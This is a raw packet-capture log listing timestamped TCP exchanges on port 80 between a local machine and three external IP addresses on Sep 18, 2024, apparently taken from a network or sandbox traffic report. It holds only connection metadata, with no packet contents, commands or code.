Sep 18, 2024 14:30:10.216234922 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216236115 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216248989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216252089 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216263056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216275930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216279030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216288090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216299057 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216300011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216312885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216315985 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216325998 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216337919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216340065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216351032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216362953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216368914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216377020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216383934 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216404915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216411114 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216434956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216634989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216646910 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216659069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216670036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216674089 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216681957 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216695070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216697931 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216707945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216720104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216722965 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216732979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216742992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216746092 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216757059 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216763973 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216769934 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216789007 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216789007 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216804028 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216820955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216820955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216823101 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216836929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216847897 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216856956 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216860056 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216871977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216871977 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216880083 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216885090 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216896057 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216897011 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216907024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216908932 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216921091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216931105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216933012 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216943979 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216953039 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216954947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216964960 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216974974 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216976881 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.216981888 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.216988087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217000008 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217011929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217011929 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217024088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217036963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217036963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217048883 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217052937 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217062950 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217067957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217073917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217086077 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217092037 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217098951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217111111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217120886 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217122078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217133045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217137098 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217144966 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217156887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217161894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217170954 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217175961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217187881 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217195034 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217197895 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217210054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217211008 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217221022 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217232943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217237949 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217245102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217267990 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217267036 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.217279911 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.217456102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217468977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217479944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217490911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217493057 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.217497110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217505932 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.217510939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217524052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.217528105 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.217535019 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217547894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217556953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.217557907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217576981 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217592001 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217628002 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217628002 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217628956 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217641115 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217653990 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217669010 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217683077 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217693090 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217694044 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217693090 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217693090 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217705011 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217715979 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217726946 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217734098 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217734098 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217734098 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217740059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217752934 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.217763901 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217777967 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217788935 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217801094 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217808962 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217809916 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217809916 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217809916 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.217823029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217833996 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217834949 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217845917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217856884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217860937 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217869043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217875957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217880964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217891932 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217901945 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217902899 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217915058 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217917919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217926025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217937946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217941046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217948914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217962027 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217966080 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217972994 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217983007 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.217984915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.217994928 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.218005896 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218005896 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.218019009 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.218029022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.218034983 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218041897 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.218051910 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218063116 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218075991 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218087912 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218092918 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.218092918 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.218092918 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.218101025 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218105078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218112946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218125105 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218127012 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218163967 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218163967 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218409061 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218421936 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218434095 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218445063 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218452930 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218456984 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218468904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218480110 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218491077 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218493938 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218493938 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218502998 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218509912 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218516111 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218528986 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218540907 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218553066 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218560934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218560934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218564987 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218584061 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218595028 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218604088 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218604088 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218605042 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218619108 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218635082 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218643904 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218643904 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218647003 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218661070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218671083 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218682051 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218693018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218698978 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218698978 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218704939 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218717098 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218728065 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218734026 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218734026 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218739986 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218751907 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218763113 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218774080 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218786001 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218786001 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218792915 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218805075 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218816042 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218827009 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218827009 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218827963 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218841076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218851089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218863010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218872070 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218872070 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218873978 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218884945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218894958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.218894958 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218907118 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218916893 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218918085 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218929052 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218940973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218950033 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218955040 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218966961 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218978882 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.218985081 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.218991041 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219002962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219013929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219018936 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219018936 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219059944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219059944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219253063 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219255924 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219268084 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219279051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219293118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219304085 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219314098 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219320059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219327927 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219327927 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219327927 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219331980 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219343901 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219356060 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219367981 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219379902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219398975 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219409943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219410896 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219410896 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219415903 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219415903 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219432116 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219435930 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219448090 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219459057 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219464064 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219470978 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219482899 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219494104 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219504118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219516039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219527006 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219527960 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219527960 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219527960 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219537973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219549894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219559908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219572067 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219583988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219594955 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219599009 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219599009 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219599009 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219608068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219625950 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219643116 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219654083 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219665051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219669104 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219669104 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219670057 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219677925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219687939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219698906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219710112 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219717026 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.219721079 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219732046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219733953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.219743013 CEST	80	49703	176.113.115.33	192.168.2.7
